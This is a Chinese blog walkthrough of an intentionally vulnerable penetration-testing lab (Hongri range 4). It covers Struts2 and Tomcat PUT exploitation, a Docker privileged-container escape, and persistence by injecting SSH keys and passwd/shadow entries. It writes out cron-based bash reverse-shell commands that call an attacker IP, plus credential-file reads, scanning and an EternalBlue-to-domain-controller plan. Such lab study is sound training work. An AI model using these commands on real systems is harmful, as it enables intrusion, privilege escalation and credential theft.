点击上方“蓝字”,关注更多精彩
0x00 环境搭建
1、新建一个仅主机网段192.168.183.0/24
来模拟内网网段
2、再新建一个仅主机网段192.168.157.0/24
来模拟外网网段
3、三台机器配置如下
4、开机顺序——>DC——>WEB——>win7
ubuntu老版本在这里找到terminal
5、WEB机器ubuntu,sudo su
切换到root
先用docker ps -a
来查看开过哪些容器
再逐个开启sudo docker start
,如果容器ID字母唯一,可以省略写
sudo su
docker ps -a
docker start ec 17 09 bb da 3d ab ad
6、互相ping通后,存一个快照。
0x01 外网渗透
信息收集
struts2 RCE
1、访问2001端口,是一个struts2框架的文件上传页面,可以考虑绕过、struts框架攻击等
这里我直接使用struts2工具getshell
而且存在一些语言环境,能够出网
直接msf生成一个木马,远程下载运行上线即可。
通过ls -alh
查看有无.dockerenv
以及cat /proc/1/cgroup
看devices
字段来判断此为docker
环境。
还可以使用msf的后渗透模块来判断是否为docker环境
tomcat PUT写入木马
1、访问2002端口,是一个tomcat,可以考虑爆破后台、RCE漏洞、PUT方法写入webshell等。
2、后台显示403,看来爆破是不可能了,403的原因有很多,例如没有配置默认账号密码;配置不当;无访问权限等。
3、尝试抓个包改GET
方法为POST
,然后再改请求方法为PUT
,再根目录后面写一个1.txt
,请求正文写入一个内容,测试返回包为201,看来漏洞存在,是因为根目录的web.xml
开启了PUT
方法,但是注意,虽然开启了PUT
方法,还是不能直接上传jsp
木马
4、4、需要在文件名后面加一个/
就可以成功绕过了。
随后冰蝎成功连接木马
使用冰蝎的反弹shell功能,获取一个meterpreter
phpmyadmin
1、访问2003端口是phpmyadmin页面,属于未授权.
关于phpmyadmin的攻击方法在红日靶场01我们介绍过,不过这里多了一个getshell的方法:CVE-2018-12613。远程文件包含session
(对应版本:phpmyadmin 4.8.1),通过phpsession
序列化数据保存至session文件,包含其缓存文件。通过一句话木马,进而包含sess_sessionId
文件,这里不复现了,有兴趣的童鞋可以查查。
0x02 docker特权模式逃逸
什么是特权模式?特权模式于版本0.6时被引入Docker,就是docker在启动容器的时候,加了--privileged
参数,例如docker run -it --privileged xx /bin/bash
从而可以实现docker容器数据卷的挂载与文件共享,同时容器的root权限为真实物理机的权限;如果不加--privileged
参数,容器中的root其实就相当于宿主机的一个普通用户。
总之一句话:当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
可以通过fdisk -l来判断容器是否以特权模式启动,如下图:
那么我们就可以创建一个文件夹,将宿主机根目录挂载至容器目录下。使用fdisk -l
来查看linux机器所挂硬盘个数以及分区等信息。
在tomcat
容器中新建个空目录,将宿主机根目录挂载至容器目录下
cd /tmp
mkdir docker
mount /dev/sda1 docker #将宿主机根目录挂载至容器目录下
ls / -alh docker #查看docker文件夹,即宿主机的文件夹
0x03 宿主机上线
关于docker特权模式逃逸进行宿主机上线的方法,有下面这几种:
1、写入ssh公钥(复现失败)
在宿主机的home下面发现了ubuntu用户,于是使用kali生成公钥,并且通过冰蝎上传tmp.pub
ssh-keygen -f tmp
chmod 600 tmp
cp -avx docker/home/ubuntu/.ssh/id_rsa.pub docker/home/ubuntu/.ssh/authorized_keys
cat tmp.pub >> docker/home/ubuntu/.ssh/authorized_keys
我这里没有复现成功,写入公钥后使用ssh -i
指定私钥连接还是要输入账号密码。
2、更改/passwd和shadow文件(失败、不推荐)
拿到了/etc/passwd
和/etc/shadow
,直接写入一个用户进去就行了。
这里查看一下自己kali的用户,有一个本地用户sss
,我就复制它的passwd
和shadow
信息就行了。我这里sss用户的密码为1
echo 'eee:x:1000:1000:eee,,,:/home/eee:/usr/bin/zsh' >> docker/etc/passwd
echo 'eee:$y$j9T$Yejs1Jh/TSXV7J9EjXM6P1$E3fn5LuSScZWIYVhHzMxcDtbB2wg3L4oKNEnWUF6oED:19132:0:99999:7:::' >> docker/etc/shadow
然后使用ssh去连接,还是失败了,也不推荐,不过思路倒是不错。
3、计划任务反弹shell(成功)
由于通过ls -alh docker/home
看到宿主机是ubuntu系统,ubuntu系统计划任务反弹shell相较于centos的条件比较复杂。按理说写入计划任务重启cron就可以,但是这里的docker环境无法重启cron, 这里踩了很多坑,也在网上看了不少师傅写的反弹shell,都没有成功。
后来发现最大的坑点可能就是应该写入etc/crontab而不是/var/spool/cron/crontabs。之后出一篇文章专门来研究一下ubuntu计划任务反弹shell的问题。这里就放成功的命令:
#新建一个.sh文件并加执行权限
touch docker/tmp/test.sh
chmod +x docker/tmp/test.sh
ls -l /docker/tmp/test.sh
#
echo "#!/bin/bash" >> docker/tmp/test.sh
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.5/11111 0>&1" >> docker/tmp/test.sh
cat docker/tmp/test.sh
#或者直接一条命令
sed -i '$a/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.136/13122 0>&1' docker/tmp/test.sh
#写入计划:
sed -i '$a*/2 * * * * root bash /tmp/test.sh ' docker/etc/crontab
那么这里就是一个完全的ubuntu宿主shell,随后远程下载msf木马上线
0x04 内网渗透
红日靶场4如果不是一气呵成打下来,隔几天打一次的话很容易崩溃,我这里内网信息收集完毕之后,测试了永恒之蓝之后机器崩溃了,就不玩了。
本机信息收集
id 查看当前用户的权限和所在的管理组
uname -a 查看linux版本内核信息
whereis python python2 python3 java php go perl ruby rust curl wget 查看可利用的命令
cat /proc/version 查看内核信息
cat /etc/*release 查看linux发行信息
dpkg -l 查看安装的包
crontab -l 是否有计划任务
/sbin/ifconfig -a 查看ip地址等
cat /etc/passwd 普通用户可以查看用户的信息
cat /etc/shadow 账号密码信息
cat /root/.mysql_history 查看mysql历史操作
cat /root/.bash_history 查看用户指令历史记录
s -type f 2>/dev/null 匹配高权限的文件,看是否有利用点 =
内网主机存活
for k in $( seq 1 255);do ping -c 1 192.168.183.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done
./fscan_amd64 -h 192.168.183.0/24
主机与端口探测
use auxiliary/scanner/discovery/udp_probe
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/portscan/tcp
永恒之蓝正向攻击
攻击域控失败,攻击win7也失败
看了看网上师傅的复现手法,基本都是永恒之蓝打的域成员机器,有些师傅们做了msf路由就直接打成功了,大多数都是用kali直连的靶机。我这边做了代理也是不行。后来机器坏了,就没有再打。不过有了前面红日靶场1-3的基础,红日靶场4的内网就很简单。这里说一下思路:
永恒之蓝拿下域成员机器——切换域成员账号利用mimikatz抓取密码——利用ms14-068等域提权抓取黄金票据——攻击域控成功。
0x05 涉及到的知识点总结
1、struts2漏洞利用
2、tomcat漏洞利用
3、phpmyadmin获取webshell
4、docker利用特权模式进行逃逸
5、ms14-068域提权攻击域控
往期推荐
CVE-2021-4034 Linux Polkit本地提权漏洞
CVE-2021-31760 Webmin CSRF致使RCE
CVE-2022-22965 Spring core RCE漏洞
CVE-2020-1472 ZeroLogon漏洞复现利用(Netlogon域提权)
郑重声明:该公众号大部分文章来自作者日常工作与学习笔记,也有少数文章是经过原作者授权转载而来,未经授权,严禁转载。如需要,请公众号私信联系作者。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与原作者以及本公众号无关。
原文始发于微信公众号(HACK技术沉淀营):红日靶场04通关记录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论